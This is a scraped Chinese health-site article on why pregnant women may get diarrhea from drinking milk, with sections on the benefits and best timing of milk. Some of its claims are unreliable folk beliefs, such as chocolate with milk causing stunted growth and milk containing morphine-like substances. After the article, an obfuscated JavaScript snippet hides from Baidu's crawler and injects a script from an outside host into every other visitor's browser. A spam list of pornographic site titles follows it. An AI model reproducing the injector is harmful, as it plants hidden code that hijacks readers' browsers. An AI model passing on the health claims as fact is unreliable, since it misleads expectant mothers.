當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

孕婦喝牛奶拉肚子怎么回事

2017-06-17 11:02:44  來源:360常識網   熱度:
導語:乳糖不耐癥(90%的華人有乳糖不耐癥)人群:患有乳糖不耐癥的患者服用牛奶要控制好用量,一般200毫升之內是沒問題的,但個別只能喝很少的牛奶甚至完全不能喝牛奶,否則引起胃脹和腹瀉。

孕婦喝牛奶拉肚子怎么回事

孕婦喝牛奶拉肚子怎么回事

有些孕媽喝了牛奶,出現了腹瀉的情況,那是怎么回事呢?造成喝牛奶拉肚子的情況有幾種原因,不同原因要不同對待。

1、食用冷牛奶:因為冷牛奶會影響腸胃運動機能,引起輕度腹瀉,使牛奶中的營養成分多數不能被人體吸收利用。更應忌飲從電冰箱或地窖里取出的冷牛奶,特別是有傷風感冒的患者。

2、乳糖不耐癥(90%的華人有乳糖不耐癥)人群:患有乳糖不耐癥的患者服用牛奶要控制好用量,一般200毫升之內是沒問題的,但個別只能喝很少的牛奶甚至完全不能喝牛奶,否則引起胃脹和腹瀉。

3、對牛奶過敏:有些人對牛奶過敏,飲用后出現腹痛、腹瀉等胃腸道癥狀,還有鼻炎,哮喘等呼吸道癥狀或蕁麻疹等,應忌飲牛奶。

4、牛奶忌巧克力一起喝:因為牛奶中的鈣與巧克力中的草酸結合成草酸鈣,可造成頭發干枯,腹瀉,出現缺鈣和生長發育緩慢。

5、剛喝完牛奶就吃橘子:剛飲完牛奶就吃橘子會影響消化吸收,而且還會使人腹脹,腹痛,腹瀉。

孕婦喝牛奶的好處

1、補鈣

鈣是人體內含量最多的一種無機元素,有許多重要的生理功能,其主要參與骨骼和軟組織的構成。如果每天吃250毫升可獲得300毫克的鈣,已經滿足人體所需要的鈣含量。所以說,孕婦每天堅持喝牛奶,可以提供自己和胎兒大部分的鈣質。

2、補充蛋白質

除了補鈣以外,牛奶也是優質蛋白的來源,含有豐富的氨基酸,消化利用率同蛋類一樣,比米飯肉、面包等食物都要高,是孕婦補充蛋白質的首眩

3、調節內分泌

牛奶中豐富的蛋白質和含硫氨基酸能增強人體的免疫能力,調節內分泌,改善體內微循環。

4、睡前喝牛奶有助于睡眠

牛奶中含有一些鎮靜催眠作用的物質,并且牛奶中的鈣還能清除緊張情緒,所以喝牛奶有助于睡眠。孕期睡眠質量不好的準媽媽們可以在晚上喝一杯牛奶安神,美美睡上一覺。

孕婦什么時候喝牛奶

孕婦喝牛奶的最佳時間是什么?建議早晚各一杯即可。早餐時喝奶,給一天的活力提供充分的營養保證;晚上喝牛奶,不但有助于睡眠,而且有助于人體對其營養成份的吸收。

空腹飲用牛奶會使腸蠕動增加,牛奶在胃內停留時間縮短,營養不能充分吸收利用,因為牛奶中的蛋白質需在胃中經胃蛋白酶及小腸的消化分解為各種氨基酸才能在小腸內被吸收利用,空腹喝牛奶胃排空快,使一些蛋白未被分解成氨基酸,而已分解成的氨基酸在小腸內沒來得及吸收就被排入大腸,在大腸這些蛋白質和氨基酸被分解腐敗成對人體有害的物質,增加人體負擔。故喝牛奶最好與一些淀粉類食物同食,可使牛奶在胃中停留時間延長,有利于消化和吸收。所以盡量不要早晨空腹喝牛奶,可餐時或餐后飲用。

孕婦晚上喝牛奶好嗎

牛奶具有安眠的功效,很多朋友喜歡睡前喝一杯牛奶來助眠。很多懷孕的朋友由于妊娠反應等一系列的因素影響睡眠,而睡前一小時喝牛奶則有助于睡眠,也可以給孕媽提高免疫力,給寶寶添加營養,所以孕婦睡前喝牛奶是極好的。

首先因牛奶中含有一種能使人產生疲倦欲睡的生化物L色氨酸,還有微量嗎啡類物質,這些物質都有一定的鎮靜催眠作用,使人想睡眠,并且無任何副作用,而且牛奶粘在胃壁上吸收也好,牛奶中的鈣還能清除緊張情緒,所以它對睡眠更有益,故晚上喝牛奶好,有利于人們的休息和睡眠。

睡前喝牛奶有利于人體對鈣的吸收利用。晚餐攝入的鈣,睡前大部分被人體吸收利用。睡后特別是晚上零點以后血液中鈣的水平會逐漸降低,血鈣的下降,促進了甲狀旁腺分泌亢進,激素作用于骨組織,使骨組織中的一部分鈣鹽,溶解入血液中,以維持血鈣的穩定平衡。

晚上睡前喝牛奶的話,牛奶中的鈣可緩慢的被血液吸收,整個晚上血鈣都得到了補充、維持平衡,不必再溶解骨中的鈣,防止了骨流失、骨質疏松癥的發生。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品无码一区二区在线 | 99久久国产亚洲综合精品| 久9这里精品免费视频| 国内精品久久国产大陆| 久久777国产线看观看精品| 中文无码精品A∨在线观看不卡| 国产啪精品视频网站| 久久青青草原精品影院| 91精品国产入口| 亚洲日本久久久午夜精品| 亚洲国产午夜精品理论片| 精品久久久久久无码人妻中文字幕| 青青草国产精品久久久久| 国产精品伦理一二三区伦理| 国产精品爱搞视频网站| 国产成人精品电影在线观看| 国产成人久久精品区一区二区| 日本精品久久久久护士| 亚洲精品无码久久久| 无码精品久久久久久人妻中字| 亚洲国产精品无码久久青草| 九九九精品成人免费视频| 99热热久久这里只有精品166| 日韩精品一区二区三区中文3d| 2022国产成人精品福利网站 | 国产69精品麻豆久久久久| 国产乱子伦精品无码专区| 久久精品九九亚洲精品| 国产福利专区精品视频| 中国精品一级毛片免费播放| 久久99精品久久只有精品| 国产日韩精品中文字无码 | 久久久一本精品99久久精品66直播 | 99re6在线视频精品免费| 国产大片91精品免费观看不卡| 国产精品免费大片| 国产香蕉国产精品偷在线| 国产乱码精品一区二区三区四川| 国产在线精品一区二区在线观看| 亚洲精品偷拍视频免费观看| 国产精品漂亮美女在线观看|